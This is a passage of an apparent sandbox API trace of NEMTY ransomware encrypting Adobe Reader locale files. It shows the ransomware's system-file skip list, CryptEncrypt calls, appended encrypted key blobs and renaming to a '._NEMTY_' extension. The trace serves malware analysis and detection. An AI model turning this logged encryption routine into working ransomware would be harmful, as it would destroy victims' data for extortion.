pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.028] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.028] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="X3VG/ZcZq2ThsGlx2huC9t23MVk/8Lxh5omVpNIHEdBrO4bkcB2R4DoRa86mYkjC\r\nrSzsYNZ1LaxCqCnJ/SVvzt4HBs9H80CB/i9XiBQZKc2UQUUAcVfTcIJbF1Vrpv/G\r\nvGUP9qpay4qEAuAYqAchD4ydg3kDMelh7kXxzGGgm3NrtwoVIq7UkNLyUl6jGYic\r\nXHbNub5DusgIfPkzyvzRRciSa+l0449JM/817kPI5qkkFNCuakBBmXtkur1MiVlu\r\ndjcyffpMl9dvbRUD/3Ahjk5/Ctn7+ylv3dpPc8tZDsSEDFIdo4NKQCG4efZUDvVA\r\ny6evoTAHBd8UmjZy0fNlTg==\r\n", pcchString=0x653e5dc) returned 1 [0186.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.028] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\ReadOutLoud.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\readoutloud.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.029] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=8704) returned 1 [0186.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2200) returned 0x6352c48 [0186.029] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.029] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2200, lpOverlapped=0x0) returned 1 [0186.031] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.031] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2200, lpOverlapped=0x0) returned 1 [0186.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.031] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=8704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2200 [0186.031] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.031] CloseHandle (hObject=0x2e8) returned 1 [0186.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.031] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.032] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\ReadOutLoud.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\readoutloud.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\ReadOutLoud.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\readoutloud.chs._nemty_kgobjgd_")) returned 1 [0186.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.032] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.032] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.CHS", cAlternateFileName="")) returned 1 [0186.032] lstrcmpiW (lpString1="reflow.CHS", lpString2=".") returned 1 [0186.032] lstrcmpiW (lpString1="reflow.CHS", lpString2="..") returned 1 [0186.032] lstrcmpiW (lpString1="reflow.CHS", lpString2="...") returned 1 [0186.032] lstrcmpiW (lpString1="reflow.CHS", lpString2="windows") returned -1 [0186.032] lstrcmpiW (lpString1="reflow.CHS", lpString2="$RECYCLE.BIN") returned 1 [0186.032] lstrcmpiW (lpString1="reflow.CHS", lpString2="rsa") returned -1 [0186.032] lstrcmpiW (lpString1="reflow.CHS", lpString2="NTDETECT.COM") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="ntldr") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="MSDOS.SYS") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="IO.SYS") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="boot.ini") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="boot.ini") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="ntuser.dat") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="desktop.ini") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="CONFIG.SYS") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="RECYCLER") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="BOOTSECT.BAK") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="bootmgr") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="programdata") returned 1 [0186.033] lstrcmpiW (lpString1="reflow.CHS", lpString2="appdata") returned 1 [0186.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CHS", lpUsedDefaultChar=0x0) returned 10 [0186.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHS", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CHS", lpUsedDefaultChar=0x0) returned 10 [0186.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHS", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CHS", lpUsedDefaultChar=0x0) returned 10 [0186.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.033] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.CHS", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.CHS", lpUsedDefaultChar=0x0) returned 10 [0186.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.033] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.033] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.034] Sleep (dwMilliseconds=0x5) [0186.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x228992f0, dwHighDateTime=0x1d561e8)) [0186.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x228992f0, dwHighDateTime=0x1d561e8)) [0186.043] GetLastError () returned 0x0 [0186.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.043] GetLastError () returned 0x0 [0186.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.044] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.044] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="AP/gBQ9TwHQpxns1TI8aKrHFZYWRk3t+8jHyqOCL7GcvdHGkEYy9JM48Y4KrQJ03\r\n9ebsHg30qtQqefXClV20mckEbqkP27oECCze+hJgZukRrXUL2PA8J55rneqmGC3u\r\niW0TjWJqAmE03iQ/EyH2B9fjyafr/9X1kCxOZ2mmkghpMuuUJGv3gI9s7RSZtt1M\r\nKp7p57vuxFKhziMissYOY1+/Y57L0z139z7mZ79NS8ziMQQ0oLfurOsRq2huEDIv\r\nYXIpAWCKZf5r55LL5NU5Opc/1sYxorekb7T93ecgwRY1Dk4jTQA9zA6JVO9SOFXI\r\nSDUztKVjwo612w0J/cTMiA==\r\n", pcchString=0x653e5dc) returned 1 [0186.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.044] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\reflow.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\reflow.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.045] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4096) returned 1 [0186.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1000) returned 0x6352c48 [0186.045] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.045] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1000, lpOverlapped=0x0) returned 1 [0186.046] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.046] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1000, lpOverlapped=0x0) returned 1 [0186.046] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.046] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1000 [0186.046] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.047] CloseHandle (hObject=0x2e8) returned 1 [0186.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0186.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.047] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\reflow.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\reflow.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\reflow.CHS._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\reflow.chs._nemty_kgobjgd_")) returned 1 [0186.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0186.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.048] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.048] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.CHS", cAlternateFileName="SAVEAS~1.CHS")) returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2=".") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="..") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="...") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="windows") returned -1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="$RECYCLE.BIN") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="rsa") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="NTDETECT.COM") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="ntldr") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="MSDOS.SYS") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="IO.SYS") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="boot.ini") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="boot.ini") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="AUTOEXEC.BAT") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="ntuser.dat") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="desktop.ini") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="CONFIG.SYS") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="RECYCLER") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="BOOTSECT.BAK") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="bootmgr") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="programdata") returned 1 [0186.048] lstrcmpiW (lpString1="SaveAsRTF.CHS", lpString2="appdata") returned 1 [0186.048] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.048] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHS", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CHS", lpUsedDefaultChar=0x0) returned 13 [0186.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHS", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CHS", lpUsedDefaultChar=0x0) returned 13 [0186.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHS", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CHS", lpUsedDefaultChar=0x0) returned 13 [0186.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.049] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHS", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CHS", lpUsedDefaultChar=0x0) returned 13 [0186.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.049] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.049] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.049] Sleep (dwMilliseconds=0x5) [0186.059] GetSystemTimeAsFileTime (in: 